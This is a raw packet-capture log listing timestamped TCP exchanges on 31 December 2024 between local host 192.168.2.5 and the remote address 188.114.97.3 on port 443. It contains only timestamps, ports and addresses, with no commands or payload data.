Dec 31, 2024 09:25:06.858261108 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.870239019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.870306015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.870363951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.870414972 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.870649099 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.870697975 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.878108025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.878146887 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.878176928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.878182888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.878223896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.882827997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.882844925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.882900953 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.882906914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.893014908 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.893047094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.893074989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.893081903 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.893121958 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.901180983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.901196003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.901238918 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.901247978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.901282072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.908159971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.908178091 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.908238888 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.908258915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.908293009 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.937374115 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.937390089 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.937566996 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.937586069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.944266081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.944286108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.944336891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.944345951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.944983959 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.945048094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.945055962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.957103014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.957160950 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.957168102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.957223892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.957339048 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.957397938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.958185911 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.958215952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.958252907 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.958256960 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.958281994 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.965035915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.965081930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.965100050 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.965106964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.965131998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.965483904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.965605021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.965610981 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.969495058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.969563961 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.969569921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.969690084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.969739914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.969748020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979032040 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979089975 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.979095936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979165077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979264975 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.979271889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979466915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.979521990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.979527950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.983587980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.983650923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.983659983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.988715887 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.988770008 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.988775969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.988917112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.988957882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.988965034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.992611885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.992667913 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.992675066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.997332096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.997406006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.997412920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.999686003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.999728918 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.999730110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.999744892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.999772072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.999782085 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.024111986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.024168968 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.024239063 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.024293900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.030896902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.030973911 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.030980110 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.031033039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.031090021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.031142950 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.044044018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.044076920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.044104099 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.044107914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.044142962 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.051717043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.051733017 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.051780939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.051789045 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.051814079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.052440882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.052474976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.052501917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.052506924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.052551031 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.065685034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.065722942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.065748930 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.065754890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.065787077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.065809965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.070101976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.070118904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.070179939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.070187092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.070359945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.079181910 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.079195976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.079267979 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.079273939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.079307079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.086807013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.086822987 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.086883068 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.086889029 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.086915970 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.086935997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.111448050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.111485004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.111541033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.111562014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.111586094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.111598015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.118655920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.118678093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.118731976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.118738890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.118793964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.131364107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.131390095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.131463051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.131472111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.131517887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.139064074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.139079094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.139147043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.139164925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.139209986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.153058052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.153073072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.153150082 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.153168917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.153287888 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.157113075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.157135963 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.157169104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.157175064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.157200098 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.157222986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.166100025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.166115999 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.166169882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.166177988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.166280031 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.180983067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.181001902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.181066990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.181072950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.181112051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.204721928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.204741001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.204776049 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.204787970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.204813957 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.204834938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.205640078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.205656052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.205708981 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.205718994 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.205773115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.223566055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.223586082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.223634005 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.223640919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.223685026 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.234385967 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.234400988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.234448910 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.234455109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.234513998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.247515917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.247549057 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.247575998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.247584105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.247616053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.247631073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.248811007 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.248826981 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.248877048 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.248883009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.248930931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.252909899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.252924919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.252991915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.252998114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.253087044 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.267935038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.267965078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.268030882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.268030882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.268037081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.268121958 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.291583061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.291606903 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.291766882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.291774988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.291862011 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.292375088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.292391062 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.292510986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.292516947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.292577028 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.310220957 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.310237885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.310342073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.310349941 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.310451984 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.321274996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.321293116 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.321403027 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.321409941 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.321475983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.334465027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.334482908 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.334532022 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.334537983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.334556103 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.334610939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.335083961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.335098982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.335176945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.335176945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.335182905 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.335241079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.339782000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.339797020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.339910984 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.339917898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.340110064 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.354892015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.354907990 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.354952097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.354958057 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.355004072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.355004072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.378453970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.378469944 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.378585100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.378592968 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.378671885 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.396317005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.396361113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.396390915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.396399021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.396430969 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.396469116 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.407845020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.407875061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.407897949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.407905102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.407994032 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.408587933 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.408601999 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.408704042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.408710957 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.408792973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.421185970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.421201944 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.421284914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.421292067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.421359062 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.421952009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.421981096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.422002077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.422008991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.422032118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.422101021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.441296101 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.441314936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.441428900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.441428900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.441436052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.442022085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.442048073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.442125082 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.442125082 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.442132950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.444783926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.465392113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.465449095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.465477943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.465481997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.465542078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.465542078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.484026909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.484044075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.484235048 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.484241962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.484441042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.494682074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.494699001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.494864941 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.494869947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.494973898 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.495407104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.495444059 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.495521069 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.495521069 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.495527983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.495729923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.508143902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.508160114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.508259058 CET	49707	443	192.168.2.5	188.114.97.3
